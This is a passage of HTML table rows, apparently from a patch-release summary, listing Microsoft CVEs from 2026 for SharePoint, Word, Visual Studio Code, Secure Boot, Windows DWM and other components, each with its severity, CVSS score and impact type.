  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
